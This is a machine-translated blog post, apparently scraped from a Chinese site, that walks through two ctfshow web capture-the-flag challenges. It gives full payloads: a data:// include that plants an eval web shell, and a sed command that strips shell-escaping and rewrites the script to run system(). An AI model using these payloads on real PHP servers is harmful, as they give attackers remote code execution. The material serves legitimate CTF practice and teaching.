当前位置:网站首页>Ctfshow single dog -- Web
Ctfshow single dog -- Web
2022-07-28 06:18:00 【cainsoftware】
pass-01 web Sign in
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: [email protected]
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
if(strrev($file)==$file){
include $file;
}
}See input parameters file The judgement item is strrev( reverse )== Normal admission
At first, I considered that weakness is equal to bypassing , however include No dice ,
Later I learned 2 A knowledge ,,
1. First, we can use data:// Fake protocol ,
2.php ?> The content after is no longer calculated
So it can be constructed as follows :
file=data://text/plain,<?php eval($_REQUEST[1]);?>

adopt py The inversion structure is complete payload

The sign in question is so difficult ? Shouldn't the sign in question be the one with hands .
PASS-02 easyPHP
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: [email protected]
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
$param = $_POST['param'];
if(isset($cmd) && isset($param)){
$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
shell_exec($cmd);
}
escapeshell Used for filtering , The string length is limited to 3,
According to Daniel's experience Need to use sed Command new file , use sed Match parameter regularity for replacement modification
sed Regular expressions - sed Basic course - Simple tutorial , Simple programming
First, you need to use parameters :
1. “/escap/d” Among them d To delete escap The limit of the whole line
2. Using parameter “s/shell_exec/system/g” there s The purpose is to replace g The purpose of the parameter is to global ,
complete payload=“cmd=sed¶m=/escapeshell/d;s/shell_exec/system/g;w 99.php”
边栏推荐
- Nanjing University of Posts and Telecommunications CTF topic writeup (II) including topic address
- 说说ESXi虚拟交换机和端口组的“混杂模式”
- Summary of common WAF interception pages
- Deep learning (incremental learning) - (iccv) striking a balance between stability and plasticity for class incremental learning
- EIGamal 密码体制描述
- 《Distilling the Knowledge in a Neural Network》知识蒸馏论文解读
- Cyclic neural network
- Boosting unconstrained face recognition with auxiliary unlabeled data to enhance unconstrained face recognition
- Model inversion attacks that exploit confidence information on and basic countermeasures
- 在Asp.net 中Cookie的用法
猜你喜欢

Never leave its origin - bluecms1.6 vulnerability of the controller's shooting range

Deep learning (self supervision: simpl) -- a simple framework for contractual learning of visual representations

arduino 读取模拟电压_MQ2气体/烟雾传感器如何工作及其与Arduino接口

Paper reading notes of field low resolution face recognition based on selective knowledge extraction

硬件电路设计学习笔记1--温升设计

Neural network optimization

Basic usage of word2vec and Bert

《On Low-Resolution Face Recognition in the Wild:Comparisons and New Techniques》低分辨率人脸识别论文解读

File upload vulnerability summary

Research on threat analysis and defense methods of deep learning data theft attack in data sandbox mode
随机推荐
Deep learning - metaformer is actually what you need for vision
arduino 读取模拟电压_MQ2气体/烟雾传感器如何工作及其与Arduino接口
Deep learning - patches are all you need
Knowledge point 21 generic
Deep learning (self supervision: simple Siam) -- Exploring simple Siamese representation learning
四、模型优化器与推理引擎
ASP.NET 读数据库绑定到 TreeView 递归方式
Reading experience of protecting against DNN model steaming attacks
Deploy the project to GPU and run
一、语音合成与自回归模型
Summary of command injection bypass methods
Solution to the crash after setting up a cluster
Summary of common WAF interception pages
Getting started with latex
《Distilling the Knowledge in a Neural Network》知识蒸馏论文解读
Research on threat analysis and defense methods of deep learning data theft attack in data sandbox mode
关于Fusion on Apple Silicon的谨慎猜测
Reinforcement learning - proximal policy optimization algorithms
EIGamal 密码体制描述
Which is more reliable for small program development?